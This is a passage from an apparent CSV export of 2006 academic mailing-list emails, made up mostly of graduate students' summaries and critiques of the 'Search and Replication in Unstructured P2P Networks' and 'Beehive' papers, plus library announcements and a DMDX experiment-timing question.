Dr John Rowett, secretary general, Association of Commonwealth Universities * Monique Fouilhoux, higher education coordinator, Education International * Dr Alex Nunn, Leeds Metropolitan University and author of the AUT?NATFHE brain drain report * Nick Sigler, head of international relations, Unison Panel sessions include: 'Impacts in Africa' and 'Towards policy and action'. If you wish to register or to receive a copy of the final programme, please e-mail Afshan Khan at NATFHE: akhan@natfhe.org.uk. Please feel free to forward this to non-AUT colleagues who may be interested. I also have two leaflets sent to me by the AUT, if anyone wants one. Regards Yvonne -- Yvonne Aburrow Web Developer, Computing Services, University of Bath +44 (0)1225 38 6022 Y.Aburrow@bath.ac.uk http://people.bath.ac.uk/ccsya/",0,1 ARL Communications ,,,"On the ARL Server (Feb. 13, 2006)","On the ARL Server Week of February 13, 2006 2006 SPARC Program Plan SPARC Europe Announces Award for Outstanding Achievements in Scholarly Communications Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] Job Posting: Communications and Administrative Coordinator for LibQUAL+TM and Statistics and Assessment Activities [PDF] Sunshine Week 2006: Are We Safer in the Dark? A National Dialogue on Open Government and Secrecy, a national teleconference on March 13, 2006 Living the Future 6: WOW!—Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5–8, 2006 ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Ian Kash ,egs+summary@cs.cornell.edu,"Mon, 13 Feb 2006 17:04:38 -0500",PAPER 6,"Lv et. al. examine a pair of search methods that are superior to flooding in unstructured P2P networks. The first is expanding ring, which is essentially flooding with an iteratively deepening TTL (which fixes the problem of finding the right TTL). The second is a number of random walks on the graph, which gives two orders of magnitude improvement in search costs for realistic graph models. This has the nice side effect of supporting partial searches because the walkers ""call home"" to see if they should continue so the user can decide when the partial search has produced sufficient results. They then examine the effects of replication in their models. Their results show that uniform replication and replication proportional to the query frequency give the same weighted average performance. However, replicating proportional to the square root of the query frequency gives optimal performance. The downside is that this proportion is difficult to implement. The claims about the implementation square root replication are theoretically shaky (though their results show that it is an improvement in practice). In particular, they say that it their path replication system is described by a differential equation that has a fixed point corresponding to the sqrt n. This immediately raises several issues. Is this the only fixed point? If not, why should the system converge to it rather than some other? Is it even stable (i.e will the system converge to it from nearby or do you tend to drift farther away once you get a little distance away)? If the system does converge to this fixed point, how long will it take? In their evaluation, they seemingly arbitrarily wait 5000s in Figure 7, but it is unclear how this extends beyond the specific settings of their simulation. This convergence rate is of practical importance, because the rate will effect the ability of the system to handle sudden changes in request frequency. Beehive is a replication system built on top of a structured DHT that provides O(1) lookups by exploiting the search patterns of the DHT. Since there is a deterministic set of possible paths to an object, Beehive can shorten every path by one hop by replicating the object at every node one hop back along one of these paths. Using a closed-form optimal solution to a system of equations, Beehive can provide average lookup of c hops for any constant c while still having the worst case O(log n) hops provided by Pastry. Experimental results show significant performance improvements over Pastry with passive caching of objects at every node along a query path (PC-Pastry). Once concern is that Figure 6 shows that after a large change in object popularity, Beehive's latency rises to that of PC-Pastry and takes longer to return to its basely. If the popularity of objects is constantly changing, this may lead to no improvement in latency over Pastry (although it will still have significantly fewer object transfers). ",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Mon, 13 Feb 2006 19:31:14 -0600",No Tutorial session this week,"Hi, We shall not have tutorial session tomorrow (Tuesday Feb 14, 2006). My apologies. Madhavi ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Mon, 13 Feb 2006 20:14:23 -0500",PAPER 6," ""Search and Replication in Unstructured P2P networks"" Whereas most DHT papers leave replication to the application layer, this paper discusses the proper number and placement of replicas in unstructured networks, and also the best way to do queries across these networks. The authors show that flood searches, and expanding ring, are both very network-intensive, and that controlled random walk is much more frugal with bandwidth for equivalent search quality. The authors also propose a new replication scheme, with the number of replicas of an object proportional to the square root of the query frequency. They show that this scheme is optimal in terms of search size (and thus total network load). They also show that path replication can achieve this replication, and greatly improve performance. Square-root replication is only valid insofar as the assumptions are valid. Gnutella is substantially a file-sharing system, and users do not delete files randomly. Controlled Random-walk, while a good idea, is probably not practical for gnutella since the installed systems do not support it. If we're going to be altering the existing gnutella installed base, why not go to a structured system in the first place? Beehive: Beehive is in many ways the counterpart for structured P2P systems. It offers a mathematical analysis, and an optimal replication scheme under certain assumptions: In particular, the authors assume that object replication has a fixed cost. The Beehive authors show that the optimum replication degree can be computed analytically given the item frequency and the zipf-law parameter; they show that these can be measured efficiently at runtime by aggregating statistics, and then doing linear regression. Beehive then pushes the updated objects out along the routing trees in the logical way; the authors show that this can easily be tweaked to allow mutable objects. The beehive scheme in only optimal if object replication has a fixed cost. This is not true in all applications. The authors suggest replicating only pointers, but this is not always suitable: replication may be employed either to speed queries or to improve reliability, and replicating only pointers does not improve reliability. Moreover, Beehive is actually quite slow to adapt to changes in frequency, taking many hours to adapt to sudden changes in object usage. Also, Beehive is geared to users who know how many hops they would like searches to take in the average case; in practice, the users are more likely to specify total resources to be used, and the challenge is to tune the system to use them optimally. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Oliver Kennedy ,egs+summary@cs.cornell.edu,"Mon, 13 Feb 2006 22:03:07 -0500",PAPER 6,"Search and replication notes that structured distributed networks (such as the ring networks we've been discussing) react very poorly to the levels of churn seen on the internet. With few exceptions, most deployed distributed networks are unstructured. The paper also notes that while unstructured networks such as gnutella react very well to churn, the flooding approach to searches they use is incredibly inefficient. The paper proposes that rather than flooding the network with requests and causing an exponential number of messages, the originator of the search should let loose a number of walkers. Rather than forwarding a search request to all adjacent hosts, a walker is propagated to only one other adjacent host. Rather than placing an exponential load on the network for each search, the load is constant with each search. The paper also discusses several options for replicating objects for decreased search times. It notes that replicating objects proportional to the number of queries received for them provides no benefit. The benefits gained by having the most common queries be short is lost due to all the remaining queries becoming longer. They state that it is most efficient to replicate as the square root of the number of queries received. They suggest a means of implementing this without knowing the overall number of queries for an object. After every query, the queried object is replicated proportionally to the number of hops it took for the walker to reach the object (for example on all the nodes in the successful walker's path). These replicas die after a particular time period. This scheme converges to square root replication and distinctly reduces the number of hops required to complete a search. As they note in the paper, random walking provides a reliability tradeoff. The load on the network is dramatically reduced in exchange for a slightly increased chance of the search returning a false negative. Searches will also take longer. The replication scheme they propose is used to combat this effect. However, this requires each node to store more data than it would need to store in one of the ring network schemes, or even a gnutella scheme. Additionally, for networks with high amounts of object churn, the traffic associated with keeping replicas up to date would quickly outweigh the gains from random walking. Beehive takes the view that ring networks are viable for real world deployment and attempts to improve their performance using replication techniques as done by search and replication. An object is replicated on a fraction of the hosts proportional to its popularity. The node in charge of an object collects usage information from the object's replicas (if there are any), and decides whether or not the object should be replicated (presumably replicating only the X most popular objects it hosts with X as a tunable parameter). Being based on Pastry, it uses the standard log (N) digit identifiers. It replicates the object to all the nodes which share one less digit in common with the object's identifier than it does. Each of those nodes then decide (using a similar metric) whether the object should be further replicated. If so, each node pushes the object to nodes that share one fewer digit in the identifier than they do. Load balancing is done (presumably) by having each node only distribute to nodes which share with it one more digit than the node shares with the object. Beehive's replication scheme performs poorly with high object churn. Every copy needs to be updated whenever the object is, so frequent updates will increase traffic considerably. The replication scheme also seems to increase storage requirements on each node proportionally to the log of the number of nodes joining the network. Though this is ultimately limited by the number of possible identifiers, Pastry functions best when that limit is set far above the number of nodes that might conceivably join the network. Furthermore, this system assumes all nodes are trusted, and includes no solution to byzantine failures, much like its parent, Pastry. - Oliver Kennedy They laughed at Einstein. They laughed at the Wright Brothers. But they also laughed at Bozo the Clown. -- Carl Sagan -Oliver Kennedy Cogito cogito ergo cogito sum -- ""I think that I think, therefore I think that I am."" -- Ambrose Bierce, ""The Devil's Dictionary"" ",0,0 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Feb 2006 23:28:30 -0700",[DMDX] fMRI timing revisit & some other timing questions,"Hi Jonathan, I should have found this problem sooner when asking you about the COT thing last week, but I had to wait till the fMRI machine was available to test this out, thus the whole thing was delayed a bit. Remember last time I asked you which element in item 101 below would trigger the scanner? 100 c; 101 %1 / %1/ ""READY"" /; Turned out that I asked the wrong question! I tested a few short scripts and realized that the scanner actually starts from item 100, not 101. A script like below can test this: +099 * ""scanner should start after this""; +100 * c ""scanner should start here""; +101 * ""this should appear after scanner starts""/ /; +1001 *""SENTENCE""/!; So, the starting time of the scanner is settled, but then I have two more questions. 1. I want clockon on item 100, but I also want the item to go as quickly as possible, so I am thinking of putting up the smallest timeout. I tried both and (t 17 is about a tick) and there was a 16.57 ms difference between them in the output file. I am just wondering if is truly the smallest timeout or it's just the imagination of my computer? 2. I learned it from the DMDX Timing Notes that ""If there is no next frame in an item DMDX simply displays that frame and moves on to the next item, regardless of any frame duration specification"". In my scripts, I didn't put a blank frame at the end of item 100, so there shouldn't be a timing difference due to different frame durations. (A)-(C) below are extracted from 3 different scripts. In (A) & (B), the duration of item 100 is 812.44 ms (49 ticks), while that in (C) is 795.86ms (48 ticks). Since I didn't use any delay keyword, is the one-tick difference simply the result of different ISI? (A)100 c ""default""; (B)100 c ""fd 120"" (C)100 c ""fd1"" ; Thank you in advance for answering my questions. Best, Shiaohui Chan PhD Program Department of Linguistics University of Arizona",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 00:28:14 -0500",PAPER 6,"The two papers to be discussed today present replication (and search) methods to achieve excellent lookup performance in structured and unstructured peer-to-peer systems, respectively. “Search and Replication in Unstructured Peer-to-peer Networks” * Compared with structured peer-to-peer systems that are currently only prevalent in the research literature, unstructured peer-to-peer systems such as Napster and Gnutella are actively used on the Internet; they are extremely resilient to transient population of nodes (joining and leaving the system) and capable of handling partial-match queries. * To solve the problems of scalability and large loads for lookups in unstructured systems, this paper explores, through simulation, alternatives to Gnutella’s search method, data replication strategy and network topology. * For the search method, it first suggests an expanding-ring approach (gradually increasing the TTL until the object is found) to reduces unnecessary query message traverses in the system. It then proposes a multiple-walker random walk with checking/state-keeping approach (sending k query messages, each takes it’s own route and periodically checks whether to proceed until one finds the object) that further solves the problems of message overhead and duplication in the flooding-based query. Finally, it points out three principles of scalable searches in unstructured systems: adaptive termination, message duplication and granularity of coverage. * For the replication strategy, it first compares three replication strategies for Geometric and Pareto query distributions and shows that the square-root replication is theoretically optimal among uniform and proportional replications in terms of average search size. It then proposes a random replication approach (extending path replication but having no topological effects in path replication, by randomly replicating the object on p of the nodes along the paths k walkers visited) that performs close to square-root. * Simulations for the above methods are run in three pairs of combinations of query distribution and replication distribution; performance of the methods is evaluated in probability of successful queries, number of hops in finding an object, average query messages a node has to process, number of nodes each query message traverse through and number of messages the busiest node has to process. It concludes that, in network topology, uniformly random graphs yields the best performance among power-law random graph and Gnutella-style graph (because of their high degree nodes) with flood-style search. * It uses only partial criteria in evaluating the search and replication strategies; the performance issues in real peer-to-peer systems are more complicated than those. * Even though much improved in this paper, the routing latencies of unstructured systems are still much larger than those in structured systems. * Beehive is a proactive replication framework that can provide constant (O(1)) lookup performance for common, power law, query distributions. It operates on top of prefix-routing distributed hash tables and can serve as a substrate for latency-sensitive applications such as DNS. * Beehive replication mechanism is an extension of the observation that query path can be reduced by one hop if an object is replicated at all nodes preceding the object on the query paths. The replication level, in this paper, is determined according to objects’ popularity and to meet C, the fraction of queries that are satisfied at the source, specified by the user. * Beehive combines a local measurement, from the analytical model, and limited aggregation to estimate the relative popularities of objects, and it runs a replication protocol to adaptively implement the optimal solution provided by the above two: each node independently decides whether to replicate the object on nodes with one less matching digit than it. Beehive also guarantees the consistency between the object and its replicas by the use of version number. * Layered on top of Pastry, Beehive is required to replicate objects in the leaf nodes because Pastry maps objects to the numerically closest node in the ID space, in which objects may share no prefixes with the home node. * The experimental (using DNS as a driving application) results show that Beehive outperforms passive caching in terms of average latency, storage requirement, network load and bandwidth consumption. They also show that Beehive adapts quickly to flash crowds and changes of query distributions. * Beehive exploits several properties of Pastry, especially the base-b digit identifier structure in its replication protocol. It is therefore infrastructure-dependent and needs to be modified to be applied in other routing protocols. Beehive presents a proactive replication framework layered on top of structured distributed hash tables for power law query distributions. The other presents a random replication approach that is close to optimal for Geometric distributions and Pareto distributions in unstructured peer-to-peer systems. Are there any proposed replication mechanisms that are independent of routing infrastructures as well as query distributions?",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 01:04:40 -0500",PAPER 5,"Niranjan Sivakumar Search and Replication in Unstructured Peer-to-Peer Networks Beehive: O(1) Lookup Performance for Power-Law Query Distributions in Peer-to-Peer Overlays The paper regarding search and replication in unstructured p2p networks considers the idea of improving performance in generally unstructured networks such as Gnutella. Through a series of simulations they illustrate the drawbacks of two popular search methods, flooding and expanding ring, and provide some analysis of two variants of a random walk search. The random walk algorithm that would check back to the originating node to terminate generally performed better than the other approaches in their tests. They also considered replication, and considered two somewhat intuitive approaches, uniform and proportional replication, as well as square-root replication. Although they admit that implementing a square-root replication method is not trivial, their tests show that this method may be more ""fair"" and a better solution than the others. Beehive does not do away with the idea of structured p2p networks, and instead seeks to exploit the underlying mechanism of a ring-based architecture like that of Pastry to implement a relatively simple method of proactive replication that could lead to sub-one hop routing. An analytical solution that is provided in the paper allows for designers to tune the system for some desired level of performance. The system uses prefix-matching and the idea that the number of hops can be reduced by progressively replicating files at nodes that share one less prefix than the current node that is holding the object. However, Beehive does not require a great deal of coordination between nodes when making replication decisions, even as objects fan out. The system also has a mechanism to evaluate the popularity of a node in order to determine what level an object should be replicated out to. One of the drawbacks in the Search and Replication paper seems to be their very premise as to why they are focusing on unstructured networks instead of structured networks. One of their main reasons seems to simply be that few currently available networks are structured. Furthermore, while their theoretical results are interesting, they themselves indicate that it is quite basic and the take away from the paper seems to be generally applicable ""good ideas"" for selecting or developing search and replication algorithms. They also did not really provide an exhaustive analysis of algorithms, as they just selected a small sample to test. One issue that I noted in the Beehive paper is related to incentives for maintaining cached copies of objects. Although there is an alternate to hold links instead of an object itself, if the goal is to avoid a ""slashdot effect"" as is stated in the paper, then it seems that maintaining actual copies would be quite important. Since the system seems to be pushing copies on to nodes that may not actually have any relationship with the content, this could create some issues with getting willing participants in such a network. ",0,0 Ivan Stoyanov ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 01:50:56 -0500",PAPER 6,"The first paper proposes two optimizations for query and replication in unstructured p2p systems. The authors acknowledge the limitations of Gnutella-style floodings and evaluate two alternative query algorithms. The first one is ""expanding ring"", where the originator sends successive floods with increasing TTL, waits for the results of the current round to come back before issuing the next round of messages. In ""multiple random walk"", the node sends multiple messages to a random subset of its neighbors so that each message is in success forwarded to a different subset of the neighbor's neighbors. The walk is stoped either with a TTL or by having the walker periodically check with the originator whether the object has been found. The authors also prove that square-root replication is optimal and provide experiments show that it is achieved by replicating object a number of times proportional to the size of the path - for example, like in Freenet, simply on all nodes along the path. The most important graph in the paper shows that using the optimal technique 80% of the queries are successful in two hops, and 98% in 8 hops, which is relatively good for unstructured systems. Beehive is a framework built on top of Pastry, which uses proactive replication to achieve average O(1) lookup performance for queries, with sub-one best case and O(logN) worst case. It builds on the fact that object popularity in a large number of systems follows a power low distribution. Therefore, replicating the most popular objects on a large number of nodes will tremendously shift the average towords a constant. This architecture is particularly designed for latency-sensitive applications for which the typical O(logN) DHTs do not work. An object of popularity i is replicated to the i-th neighborhood of the home node (the set of nodes that share common prefix of length i with the home node). To find the appropriate level for each object, the system provides an analytical model that takes as input the number of requests for each object and the desired average lookup time. The number of requests for each object is determined by a dedicated monitoring protocol. The third piece of the system is the actual replication protocol that copies of objects (or pointers to objects) throughout the network. A particularly strong achievement of Beehive is resilience against ""flash crowds"", althogh figure 6 shows that passive caching does comparably well. It seems like proactive replication will only work in power low distribution context. Otherwise, the network load will be too high to offset the improved performance. It is also not clear how well Beehive handles frequent object mutations. Nevertheless, since the system seems to be designed particularly as a DNS replacement, these assumptions are relatively safe. The paper does not mention defense against nodes that report erroneous access numbers and thus potentially changing the popularity landscape. ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Tue, 14 Feb 2006 02:08:08 -0500",paper 6,"The two papers discussed this week both involve replicating objects at nodes to reduce lookup costs. However, the first one is applied on unstructured graphs a la Gnutella while Beehive is applied on ring-based prefix routing schemes such as Pastry. The first paper looks at various alternatives to Gnutella's power-law-distribution random graph and flooding-based routing. It tests four graph topology generation algorithms (Power-law Random Graph, Gnutella Graph, Random Graph, and 2D Grid) and expanding-ring TTL searches and several variations of random-walk (path tracing) query routing. Finally, it also considers three approaches to replication: uniform, proportional to the Zipf distribution, and square-root of the Zipf distribution (both path replication and random replication). The conclusions reached by the paper were that random walk (with checking) performed far better than the flooding based approach because of the linear rather than exponential cost increase with increased TTLs. Also, random graphs performed better than highly-connected PWLGs since the lower connectivity actually reduces messages duplication. The authors then take the k-random walk query routing and replicate objects retrieved by succesful searches on k-nodes, which approximates the square-root distribution. The path replication resulted in topologically dependent replication, so they used random replication on k nodes among any of the random walks taken. Beehive works by replicating entires along prefix-matches in the reverse path sequence of prefix-routing in ring-based networks such as Tapestry and Pastry. Each replication on a lower level (fewer matching prefixs) reduces the number of hops to find the object. In a strict prefix matching, the object is stored at the highest level at a node whose ID matches the object ID the most closely. If Beehive decides, based on the aggregation approximation to the Zipf distribution, that an object should have additional copies replicated, copies are pushed to nodes that match one fewer prefixes (ie. are one hop closer on the routing scheme). An extension specific to Pastry is that since objects are stored on the numerically closest (and not most prefixes matched) and the last hop is based on the leaf table, the first replication push is done with the leaf table and not the prefix-based routing table. Beehive does seem to work well for latency-sensitive applications... however, it also seems highly dependent on the network being stable with low churn. Consider that an analysis phase takes about 8 hours and adaptation to a flash mob takes 16 hours to reach the target in the worst case. Aggregation itself takes 48 minutes, so if there is a high churn rate, significant amounts of aggregation data could be lost during that period and cause an extremely inaccurate estimate of the popularity of an object. On the other hand, there is also the question of whether replication on a high-churn network would make sense in the first place, since you would be spending large amounts of resources replicating objects that have a high probability of only being available from that node for a short period of time. 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They point out to the fact that when replication strategy is uniform, the query distribution is irrelevant whereas when the query distribution is uniform, all replication strategies are equivalent. LIMITATIONS OF FLOODING: the load on each individual node is controlled by the value of TTL. But choosing the appropriate value of TTL is not easy. Higher TTL results in unnecessary burdens on the network traffic while a low TTL may result in not finding an object although a copy existed. TTL must be set high as the replication ratio of an object is generally unknown so as to prevent the previous scenario. In flooding, it is not possible to increase the number of nodes covered without increasing the duplication in the search. Expanding ring technique solves the TTL selection problem but does not address the message duplication inherent in flooding. RANDOM WALKS: a node forwards a query message to a randomly chosen subset of its neighbors. The node which follows the above policy is termed a ""walker"". note: in a system, only some walkers exist (other nodes follow flooding policy) - experimental results indicate that 16 to 64 walkers give good results. in order to terminate the walks 2 methods have been suggested (TTL and checking) TTL is the same as in flooding. ""checking"" means that a walker periodically checks with the original requester before walking to the next node. The checking method also uses a TTL which is used to prevent loops( note that TTL is not so significant in this case as opposed to flooding). The authors have not provided a discussion as to what the above periodic interval must be especially in the case that no direct path exists between current node and the original requester.( the message could be appended with the path it has taken so far and this path must be retraced to the original requester- this check message must also be routed in a different manner than ordinary query messages -- no random subset to be chosen if message appended with path) a further improvement involves storing the state for a particular query - i.e. the walker remembers the nodes to which it had earlier forwarded the same message preventing it from sending the same message again to the same node(since the node to which forwarding takes place is selected randomly) INSIGHTS DEVELOPED INTO SCALABLE SEARCHING TECHNIQUES: 1) Adaptive termination is important (checking being a good example) 2) message duplication should be minimized 3) granularity of coverage should be small - this is based on the concept that if an additional step results in covering a large number of nodes, some of these nodes covered would be extra - so covering extra nodes should be prevented. REPLICATION THEORY: the paper draws light on the fact that uniform and proportional replication strategies yield exactly the same average search size independent of the query distribution. these different replication strategies differ only in the average search size of each object vs the utilization rate for each object. they suggest that Square-Root Replication is optimal based on a result from another paper. Square-Root strategy results in smaller variance in average search size as compared to Proportional. IMPLEMENTATION: they derive the result that replicating proportional to number of sites probed would result in a square root distribution. path replication results in replication on the nodes that are topologically on the same path.This would make the system fragile and increase traffic on these nodes for popular objects. The authors suggest ""random replication"" as a solution to the above situation. POTENTIAL FLAWS: while deriving the result for square-root replication using a differential equation, it assumes that it knows ri (replication ratio). Assuming that the destination node knows ri, it would have to communicate with other nodes for replication and this would involve another set of messages especially in the case of random replication( the destination node would also have to provide each node(that replicates i), with a value of ri in the case that the destination node fails -- assuming non-pointer based replication of objects. In case of pointer based replication - the amount of ""keep-alive"" messages would increase as each node that replicates i must check status of node hosting i periodically -thereby increasing the traffic in case of increased replication) The discussion on the square-root replication schemes ignores the case where a node fails and the protocol that must be carried out to replicate the replicated objects stored at this failed node (especially during the initial phase where equilibrium has not been achieved - i.e creation rate is not equal to deletion rate). The authors assume that they can somehow control the deletion rate which does not seem possible. ",0,0 Nicholas S Gerner ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 09:56:15 -0500",PAPER 6,"""Beehive..."" presents a model driven approach (including a detailed implementation) to replication in a structured peer-to-peer network, specifically in a DHT. ""Search and Replication..."" present analses and simulation of several search and replication strategies in unstructured peer-to-peer networks. Both papers seek to minimize the cost of lookup, in the case of ""Beehive..."" to achieve O(1) average lookup performance, in the case of ""Search and Replication..."" to avoid the high cost of flooding in unstructured networks. ""Beehive..."" introduces a model of replication which can be optimized given a tunable average lookup performance parameter. This model is implemented in a three phase protocol which naturally integrates with existing prefix matching DHT work (Pastry is used in this case). The model gives the optimal (minimum amount of replication to achieve desired performance) ""replication level"" for each object stored in the system. These levels indicate how replication should take place and correspond to the prefix matching in the underlying DHT (so level a level k relication object is replicated at nodes with prefixes matching k digits. k=logb(n) means the object is only stored at the home node and k=0 means the object is stored at all nodes). The model used by Beehive requires knowledge of two parameters regarding the distribution of query popularity (assumed to be a Zipf distribution). These parameters are estimated in the first phase ""aggregation"" where each node aggregates access counts for objects it stores and forwards these messages on to appropriately selected neighbors in its routing table. The ""analysis phase"" follows where each node uses popularity estimates and a corresponding estimate for the Zipf alpha parameter to calculate the appropriate level of replication for each object it stores. Finally the ""replication phase"" distributes (or removes) objects appropriately so that they have the optimal level of replication. ""Beehive..."" also presents convicing empirical results indicating that significantly better performance than no replication and passive replication is achieved and that this performance is achieved in as little as two analysis intervals (a tunable parameter set at 480minutes to minimize protocol costs). Additionally the protocol is shown to be robust in the face of ""flash crowds"" (e.g. the slashdot effect), stabilizing in another two analysis intervals in the worst case (all popularities are reversed). ""Search and Replication..."" presenents simulations and analyses of search and replication in unstructured networks. In this setting there is no prefix matching or efficient underlying DHT style routing. Specifically the Guntella approach to routing (flooding) and replication (aggressive, passive caching) is discussed. Three replication strategies are examined with the constraint that the total number of object instances is fixed at n*rho = R. These strategies are uniform replication (each object has R/m copies irrespective of popularity), proportional replication (each object has R*qi copies, where qi is the proportion of queries to object i) and square root replication (where each object has lambda * sqrt(qi) copies). The paper points to another source which shows that square root replication minimizes search cost given a random walk lookup strategy (which the paper argues has several nice properties to achieve good lookup performance and avoids flooding). The paper goes on to show (via simulation) that using a random walk lookup strategy in an unstructured random network and ""path-replication"" (the passive-caching scheme used in Freenet where nodes on the query path replicate the queried object) achieves results very similar to square-root replication. Furthermore, the paper argues (via simulation), ""owner replication"" (the passive-caching scheme used in Gnutella) doesn't achieve this distribution and incurs nearly three times the lookup cost associated with path replication. Both papers examine replication as a strategy to minimize lookups, not as a recovery strategy (although Beehive is likely to replicate all objects at some low level, therefore at many nodes). The aggregate storage cost of replication is not the focus of either paper, although both consider minimizing it for given lookup performance. ""Beehive..."" suggests that this aspect of replication cost can be addressed by replicating pointers to the content, rather than the content itself, but this doesn't address the load incurred by content access (in addition to adding another hop to the lookup performance parameter). Alternativly ""Beehive..."" suggests that the model could be expanded to include an analysis of cost of replication or update frequency. Neither paper includes any such analysis. ",0,0 Steve Bustamante ,ARL-ERESERVE@arl.org,"Tue, 14 Feb 2006 10:35:44 -0500","ILL Software to capture data, and process reserve requests","Hello Is anyone using Interlibrary loan software to capture, process, report statistics on, and manage copyright of reserve requests? If so: Which ILL product are you using? (I’m especially interested in hearing from people who are using ClioWeb or ILLiad.) What are you using to deliver eReserve to your courses? Thank you, Steve ************************************ Stephen Bustamante Digital Reserves Coordinator Homer Babbidge Library (U 2005-005C) Phone: 860-486-1158/486-2307 Fax: 860-486-5636 E-mail: steve.bustamante@uconn.edu Web: http://www.lib.uconn.edu/online/services/reserve/ ************************************ ",0,1 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 11:02:26 -0500",PAPER 6,"In the paper ""Search and replication in Unstructured Peer to Peer Networks"" the authors presents a query algorithm based on multiple random walks that resolve queries almost as quickly as Gnutella's flooding method while reducing the network traffic by two orders of magnitude in most cases for decentralized, unstructured P2P systems. The main issues addressed in this paper are the issues of duplicate messages since as the Time To Live (TTL) is increased the number of duplicate messages in flooding style messages can be excessive since even though as TTL is increased the number of new nodes visited increases the number of visited nodes increases excessively. The authors suggest a random graph topology and using a random walk to search through it because in a random graph the duplication ratio is same as the fraction of nodes visited so far and is small so long as the fraction of nodes visited so far is small. An expanding ring search algorithm is suggested where the node starts with a small TTL and if it cannot find the object then the TTL is increased and the process repeated. A random walk algorithm is used as said earlier. Random walk algorithm is good for local search and and might not give desired results for a search for an object that is not in close proximity and increasing the number of query messages by a factor of k only optimises the local search and could take a long time to succeed for distant object nodes. Also the system discussed does checking with the original requester to check if the node has already been traversed and not to send it to nodes that it has traversed. This approach would increase the overhead. It seems that the authors have picked up the flooding algorithm which is one of the most inefficient mechanisms of doing a search since it is a greedy search algorithm with traversal of duplicate nodes and try to present a solution that they claim would improve it. The authors focus on unstructured networks claiming that current systems that use Peer to Peer use unstructured system whereas structured decentralised systems are in a theoretical stage. However a random walk search is a good algorithm that could be applied to structured networks. The authors also talk about replications theory and how randomly the searched objects can be replicated along the path of the search and uses random replication of the object instead of the random replication of the path. ",0,0 Kevin ,egs+summary@cs.cornell.edu,"Tue, 14 Feb 2006 11:32:21 -0500",PAPER 6,"The search and replication paper argues that completely unstructured peer-to-peer networks have advantages and can be made (order of magnitude) more effecient with simple methods. Structured p2p protocols, the authors argue, have problems dealing with massive amount of churn while existing unstructured networks have no problems with it. The problem, however, is that a search is usually done by flooding the network with requests which exponentially explode. To alleviate this problem, the authors suggest a gossip-like system called random walkers. In gossip, each node sends the message to a random subset of neighbors. In this system each node forwards the message to a random neighbor (preferably one that it has not been forwarded to previously) which then passes the message on. Each message still has a TTL, but it is used mainly as a backup if the object being searched for does not exist. This sytem has a two order of magnitude improvement over the current flood-based approach. Another improvement the authors argue for is an expanding ring search. Do a flood search with a TTL of 1, then a TTL of 2 and so on until the object is found. This is reminiscent of an iterative-deepening approach commonly used in AI. The idea is that if you send out a message with TTL x then the message you sent out with TTL x-1 will be so small in comparison, that you have not used too much unnecessary bandwidth by increasing the TTL only 1. The paper also talks about object replication and does a lot of math to determines that replicating objects proportional to their popularity is not nearly as effecient as replicating them proportional to the square root of their popularity. The object is replicated along the path the message took. One of the nice things about the paper seems to be that a completely random network topology does best with the many of the suggested improvements and implementing these improvements seem like small changes to an existing network. The paper flat out says ""As a final note about our abstractions and metrics, we stress that they omit a lot of issues, including the true dynamics of node coming and going in the network, the message delays in the network, the actual load on a network node for processing and propagating messages, etc."" They assume nothing realistic in their tests, their results are not necessarily indicitive of real-world performance. Furthermore, they say that users will be able to tolerate more search time in order to get lower load on their system. As a user of one of these networks, I would want to spam out and flood out as many searches as I could possibly fit into my pipe if I could get the search back 200ms faster. I doubt any user would sacrifice search time for overall network load, they could care less. False negatives are also a big problem. A random-walker has a good chance of never finding the object it was looking for despite taking a long time to look for it. I think a gossip-style approach might be the best of both worlds. As for the replication, it seems like this would counter a lot of the load they tried to take off the system in the first place. Each node would have to store significantly more data than it currently does. Beehive is an object replication-centered improvement upon current structured p2p systems. Beehive's authors decided to put it on top of Pastry, although any prefix based structured p2p system could be adapted to their purposes. The authors assume a zipf-like distribution of objects (which is likely) and use a replication system in order to get expected performance of O(1), specifically C, where C is any constant you make it be. A small C will have massive (although optimal) object replication while a large C will make less replication but more hops. A C<1 means that with a very high probability, you already have the object you are looking for on your system. The beehive scheme works by replicating objects at different levels. An object that is replicated at level 0 is cached in all the nodes in the system while an object with level logN is cached only at the home node. By using the underlying network's prefix based routing, the object is stored 1 hop closer than the home node. For example, if an object is placed at location 2133, then level 4 replication would mean only the home node has it (2133) while level 3 implies that all nodes (213*) have the object. Level 2 would mean all the nodes at 21* have the object cached, and so on. It is easy to see that the object is stored at exponentially many places as its level increases. The replication level of a particular object is based on its popularity, which is measured over the course of a predetermined time interval and sent to a node (which is determinstically chosen) in charge of its replication level. Active change notifications are sent out in a tree-like manner from the object's home node and in that way avoid unnecessary messages. The biggest problem I noticed with the paper is that high amount of time (measured in hours) that an object takes to get ""stable."" In a system with a lot of churn, 16 hours is not a reasonable amount of time to have an object reach optimal replication. Furthermore, in a system with a lot of nodes and a lot of object, each node will have to store a pretty massive amount of data. The paper suggests using object pointers instead of actual object, but this, as the paper points out, adds extra hops. What it doesn't point out is that this is also a single-point of failure. Furthermore, with each node 